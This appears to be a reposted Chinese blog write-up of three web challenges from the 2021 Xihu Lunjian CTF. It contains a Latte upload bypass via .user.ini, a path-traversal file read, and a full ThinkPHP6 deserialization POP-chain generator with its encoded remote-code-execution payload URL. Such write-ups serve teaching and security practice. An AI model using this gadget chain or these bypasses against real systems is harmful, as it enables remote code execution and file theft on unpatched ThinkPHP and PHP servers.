[西湖论剑2021] Web部分WriteUp

WEB

EZupload

<?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$latte->setTempDirectory('tempdir');
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowMacros(['block', 'if', 'else','=']);
$policy->allowFilters($policy::ALL);
$policy->allowFunctions(['trim', 'strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);
if(isset($_FILES['file'])){
    $uploaddir = '/var/www/html/tempdir/';
    $filename = basename($_FILES['file']['name']);
    if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){
        die('no');
    }
    $file_conents = file_get_contents($_FILES['file']['tmp_name']);
    if(strlen($file_conents)>28 or stristr($file_conents,'<')){
        die('no');
    }
    $uploadfile = $uploaddir . $filename;
    
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
        $message = $filename ." was successfully uploaded.";
    } else {
        $message = "error!";
    }
    $params = [
        'message' => $message,
    ];
    $latte->render('tempdir/index.latte', $params);
}
else if($_GET['source']==1){
    highlight_file(__FILE__);
}
else{
    $latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);
}

latte框架,上传文件名不能包含 p、h、..
文件内容不能超过28个字符并且不能包含<

审计了一下这个latte框架的源码,发现这个框架会写入一个php类型的缓存文件:

    public function getCacheFile(string $name): string
    {
        $hash = substr($this->getTemplateClass($name), 8);
        $base = preg_match('#([/\\\\][\w@.-]{3,35}){1,3}$#D', $name, $m)
            ? preg_replace('#[^\w@.-]+#', '-', substr($m[0], 1)) . '--'
            : '';
        return "$this->tempDirectory/$base$hash.php";
    }
    

    public function getTemplateClass(string $name): string
    {
        $key = serialize([$this->getLoader()->getUniqueId($name), self::VERSION, array_keys((array) $this->functions), $this->sandboxed]);
        return 'Template' . substr(md5($key), 0, 10);
    }

所以可以上传.user.ini来预加载/flag文件,只需要找到同目录下的php缓存文件就可以获得flag了。
.user.ini:

auto_prepend_file=/flag

上传上去之后本地搭建一个类似的环境,然后看一下缓存目录下的缓存php文件名,这个文件名受版本号的影响,所以需要确保本地的框架版本为2.10.4,然后生成缓存文件:

index.latte--6f26bb0dba.php

访问php缓存文件得到flag:
图片

灏妹的web

/.idea/dataSources.xml

图片

EasyTp

ThinkPHP6,开局一个file存在任意文件读取,绕过一下file_exist()就能读取到源码:

file=test/../../app/controller/Index.php

在controller控制器源码里可以看到:

    public function unser(){
        if(isset($_GET['vulvul'])){
            $ser = $_GET['vulvul'];
            $vul = parse_url($_SERVER['REQUEST_URI']);
            parse_str($vul['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/O/i",$value))
                {
                    die('</br> <h1>Hacking?');
                    exit();
                }
            }
            unserialize($ser);
        }
    }

有一个反序列化位点,然后就直接找到tp6的一个RCE pop链:

<?php
namespace think\model\concern{
    trait Attribute{
        private $data = [7];
    }
}
namespace think\view\driver{
    class Php{}
}
namespace think{
    abstract class Model{
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        protected $table;
        function __construct($cmd){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->table = new route\Url(new Middleware,new Validate,$cmd);
        }
    }
    class Middleware{
        public $request = 2333;
    }
    class Validate{
        protected $type;
        function __construct(){
             $this->type = [
                "getDomainBind" => [new view\driver\Php,'display']
            ];
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{} 
}
namespace think\route{
    class Url
    {
        protected $url = 'a:';
        protected $domain;
        protected $app;
        protected $route;
        function __construct($app,$route,$cmd){
            $this->domain = $cmd;
            $this->app = $app;
            $this->route = $route;
        }
    }
}
namespace{
    echo urlencode(serialize(new think\Model\Pivot('<?php system("cat /flag"); exit(); ?>')));
}

之后需要绕过一下

parse_str($vul['query'],$query);

就是URL中加几个//,构造一下就可以拿到flag

http://67137e11-defe-4bd0-ba3c-8e6ca4c14da0.easytp-ctf.dasctf.com:2333///public/index.php/index/unser?vulvul=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A15%3A%22think%5Croute%5CUrl%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A2%3A%22a%3A%22%3Bs%3A9%3A%22%00%2A%00domain%22%3Bs%3A37%3A%22%3C%3Fphp+system%28%22cat+%2Fflag%22%29%3B+exit%28%29%3B+%3F%3E%22%3Bs%3A6%3A%22%00%2A%00app%22%3BO%3A16%3A%22think%5CMiddleware%22%3A1%3A%7Bs%3A7%3A%22request%22%3Bi%3A2333%3B%7Ds%3A8%3A%22%00%2A%00route%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A13%3A%22getDomainBind%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7D%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A7%3B%7D%7D

图片

[ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

原文地址:https://www.cnblogs.com/yesec/p/15596259.html